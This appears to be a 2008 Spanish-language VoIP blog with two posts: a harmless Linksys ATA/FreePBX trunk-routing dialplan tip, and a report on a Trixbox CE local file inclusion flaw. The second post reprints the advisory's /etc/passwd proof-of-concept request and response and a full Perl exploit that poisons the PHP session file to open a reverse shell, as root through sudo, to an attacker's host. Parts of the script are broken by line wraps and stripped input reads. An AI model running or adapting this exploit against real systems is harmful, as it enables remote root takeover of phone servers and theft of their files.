martes, 22 de julio de 2008

Seleccionando troncales con ATAs Linksys y FreePBX

Vamos a ver como se puede hacer para que un interno salga, obligadamente, siempre por la misma troncal - o "Ruta Saliente" en FreePBX -. Si tratamos de encontrarlo en la interfaz estándar, parece ser que no se puede hacer a menos que marquemos un prefijo diferenciado, cosa que es bastante incomoda si tenemos que poner uno por cada interno. Esto sigue, un poco, el concepto de extender internos que está desarrollado en otro artículo de este blog.

Ahora voy a explicar como hacerlo con un ATA Linksys - por ejemplo el PAP2 -, también se puede hacer con cualquier otro que brinde la posibilidad de armar un dialplan. Primero tenemos que crear una ruta saliente con la siguiente regla: "919|X." (sin comillas) y que apunte a la troncal para el interno número 1. El 91 lo utilizaremos como prefijo de troncal, es decir que si necesitamos mas troncales crearemos otra ruta saliente con la regla "929|X." luego "939|X." y asi sucesivamente. El último 9 indica que toma línea externa. Estos prefijos son a modo de mantener un orden y coherencia, pero pueden ser modificados tranquilamente.

El segundo paso es armar el plan de discado en el ATA. Linksys tiene una forma de hacerlo un tanto distinta a Asterisk pero muy sencillo. Para acceder a esto debemos hacerlo desde la interfaz web del Linksys en modo Admin Advaced. Dentro de la cuenta, al final de la página vamos a encontrar el dialplan. En este campo debemos poner lo siguiente:

(<:91>9x.|x.|*x.)


Esto es para el interno 1, para el interno 2 solo debemos cambiar el 91 por un 92. No sólo nos agrega el prefijo de troncal, como lo definimos en FreePBX, sino también nos permite marcar cualquier otro número - solo agregará 91 a los números que comiencen con 9 - y los códigos de función que comienzan con *.

El anterior no es un dialplan completo ni mucho menos, pero ese no es el objetivo de este pequeño tutorial. Pueden usar parte y completarlo a su gusto. Para que sepan como se armar un dialplan para Linksys, aca lo explica bien completito.


Espero sirva.

Saludos.

miércoles, 9 de julio de 2008

BUG grave en Trixbox

Han reportado un bug GRAVE en Trixbox. Este permitiría ejecutar código arbitrario y eventualmente obtener una consola con permisos de root.

El autor de este descubrimiento ha posteado el exploit (que brinda una shell con los permisos del usuario "asterisk") en milw0rm y SecurityFocus (BID=30135). Según su post es una lista, luego, se dió cuenta que se puede obtener acceso con permisos de root y los exploits deberían ser actualizados.

Se trata de una vulnerabilidad en la página 'user/index.php', el parámetro 'langChoice'. No se controla que este POST sea correcto y permite la inclusión de un archivo como respuesta.

Abajo se puede ver el post original del bug y el exploit actualizado.

ADVISORY:

Vulnerability Found: 7th July 2008
Vendor informed: 7th July 2008
Severity: Critical
BID: 30135
Successfully tested on: Trixbox CE 2.6.1 and below

Description:
A local file inclusion vulnerability affects Trixbox CE, an
Asterisk-based PBX Phone system. This issue is due to a failure of the
application to properly sanitize POST data assigned to a parameter of
the /user/index.php page.

An attacker may leverage this issue to read local files, execute PHP
scripts and eventually obtain a root shell.

Vulnerable server-side program: '/user/index.php'

Vulnerable parameter: 'langChoice'

Proof of concept:

COMPLETE HTTP REQUEST:

POST /user/index.php HTTP/1.1
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

langChoice=../../../../../etc/passwd

COMPLETE HTTP RESPONSE:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

1f4a
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[...]

Consequences:

A remote root shell can be obtained on the affected server.

Fix:

Fonality has stated that they have submitted a fix into SVN and it
will be part of the next update that will go out this week.

Credits:

Jean-Michel BESNARD of LEXSI Audit.

EXPLOIT
#!/usr/bin/perl -w

# Jean-Michel BESNARD / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root
shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (:):
192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on
most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at
192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...

# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#


use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;

usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);

menu();

sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as_string);
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid");
}

sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}

sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../../../../../../..$file");
my @fileLines = split(/\n/,$content);
my $fileContent = "Content of $file: \n\n";
for(my $i=3;$i<@fileLines;$i++){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "\n";
}
return $fileContent;
}

sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $uid = shift;
my $rshell;
if($uid eq "asterisk"){
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"}
(\"JMB\", \"-i\"));'`;?>";

}else{
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\",
(\"-i\"));'`;?>";
}
execScript($rshell);
}


sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(\w+)/){
return $1;
}
}

sub menu{
print <Please listen carefully as our menu option has changed
Choose from the following options:
1> Remote TCP shell
2> Read local file
EOF
my $option = ;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(:): ";
my $hp=;
chop($hp);
print "Which uid would you like for your shell ? (uid=root will
be OK on most recent trixbox versions only): [root|asterisk]";
my $uid=;
chop($uid);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at
$rhost (e.g, nc -l -p $rport)\n";
print "Press enter to continue...";
;
tcp_reverse_shell($rhost,$rport,$uid);
print "done...\n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = ;
chop($file);
print readFile($file) . "\n\n";
}
}
}
}

sub usage{
print "./trixbox_fi.pl \n";
exit 1;
}